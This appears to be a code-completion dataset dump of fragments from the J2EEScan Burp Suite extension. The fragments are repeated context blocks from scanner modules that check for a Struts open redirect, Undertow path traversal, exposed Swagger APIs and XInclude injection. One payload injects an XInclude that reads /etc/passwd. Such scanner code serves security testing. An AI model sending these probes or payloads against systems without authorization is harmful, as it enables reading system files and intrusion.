// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2017.java
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
List<IParameter> parameters = reqInfo.getParameters();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter(redir, "http://www.example.com/%23", IParameter.PARAM_URL)
);
//TODO Fix me hack
String utf8rawRequest = new String(rawrequest, "UTF-8");
modifiedRawRequest = utf8rawRequest.replaceFirst("=", "").getBytes();
// make a request containing our injection test in the insertion point
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), modifiedRawRequest);
IResponseInfo modifiedResponseInfo = callbacks.getHelpers().analyzeResponse(checkRequestResponse.getResponse());
int statusCode = modifiedResponseInfo.getStatusCode();
if (statusCode >= 300 && statusCode < 400) {
for (String header : modifiedResponseInfo.getHeaders()) {
if (header.toLowerCase().startsWith("location")) {
}
if (header.substring(header.indexOf(":") + 1).trim().startsWith("http://www.example.com/")) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/UndertowTraversal.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String JBOSS_PATH : JBOSS_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_PATH);
byte[] jbosstest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jbosstest);
IResponseInfo jbossUndertowInfo = helpers.analyzeResponse(response);
if (jbossUndertowInfo.getStatusCode() == 200) {
// look for matches of our active check grep string
for (byte[] GREP_STRING : GREP_STRINGS) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/UndertowTraversal.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String JBOSS_PATH : JBOSS_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_PATH);
byte[] jbosstest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jbosstest);
IResponseInfo jbossUndertowInfo = helpers.analyzeResponse(response);
if (jbossUndertowInfo.getStatusCode() == 200) {
// look for matches of our active check grep string
for (byte[] GREP_STRING : GREP_STRINGS) {
| List<int[]> matches = getMatches(response, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/UndertowTraversal.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; |
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String JBOSS_PATH : JBOSS_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_PATH);
byte[] jbosstest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jbosstest);
IResponseInfo jbossUndertowInfo = helpers.analyzeResponse(response);
if (jbossUndertowInfo.getStatusCode() == 200) {
// look for matches of our active check grep string
for (byte[] GREP_STRING : GREP_STRINGS) {
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if (matches.size() > 0) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/UndertowTraversal.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String JBOSS_PATH : JBOSS_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_PATH);
byte[] jbosstest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jbosstest);
IResponseInfo jbossUndertowInfo = helpers.analyzeResponse(response);
if (jbossUndertowInfo.getStatusCode() == 200) {
// look for matches of our active check grep string
for (byte[] GREP_STRING : GREP_STRINGS) {
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if (matches.size() > 0) {
| callbacks.addScanIssue(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/XInclude.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | private static final List<byte[]> XINCLUDE_INJ_TESTS = Arrays.asList(
"<xi:include href=\"file:///etc/passwd\" parse=\"text\"/>".getBytes());
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
// Skip test if there is no XML request body
if (IRequestInfo.CONTENT_TYPE_XML != reqInfo.getContentType()){
return issues;
}
for (byte[] INJ_TEST : XINCLUDE_INJ_TESTS) {
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
String response = helpers.bytesToString(checkRequestResponse.getResponse());
for (Pattern xincludeMatcher : XINCLUDE_REGEX) {
Matcher matcher = xincludeMatcher.matcher(response);
if (matcher.find()) {
| // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/XInclude.java
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
private static final List<byte[]> XINCLUDE_INJ_TESTS = Arrays.asList(
"<xi:include href=\"file:///etc/passwd\" parse=\"text\"/>".getBytes());
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
// Skip test if there is no XML request body
if (IRequestInfo.CONTENT_TYPE_XML != reqInfo.getContentType()){
return issues;
}
for (byte[] INJ_TEST : XINCLUDE_INJ_TESTS) {
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
String response = helpers.bytesToString(checkRequestResponse.getResponse());
for (Pattern xincludeMatcher : XINCLUDE_REGEX) {
Matcher matcher = xincludeMatcher.matcher(response);
if (matcher.find()) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/RESTAPISwagger.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | int port = url.getPort();
String system = host.concat(Integer.toString(port));
/**
* Attempt on the web root
*
* http://www.example.com/swagger-ui.html
*/
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String SWAGGER_PATH : SWAGGER_APIS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SWAGGER_PATH);
byte[] swaggerRootRequest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, swaggerRootRequest);
IResponseInfo swaggerInfo = helpers.analyzeResponse(response);
// look for matches of our active check grep string | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/RESTAPISwagger.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
int port = url.getPort();
String system = host.concat(Integer.toString(port));
/**
* Attempt on the web root
*
* http://www.example.com/swagger-ui.html
*/
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String SWAGGER_PATH : SWAGGER_APIS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SWAGGER_PATH);
byte[] swaggerRootRequest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, swaggerRootRequest);
IResponseInfo swaggerInfo = helpers.analyzeResponse(response);
// look for matches of our active check grep string | List<int[]> matches = getMatches(response, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/RESTAPISwagger.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
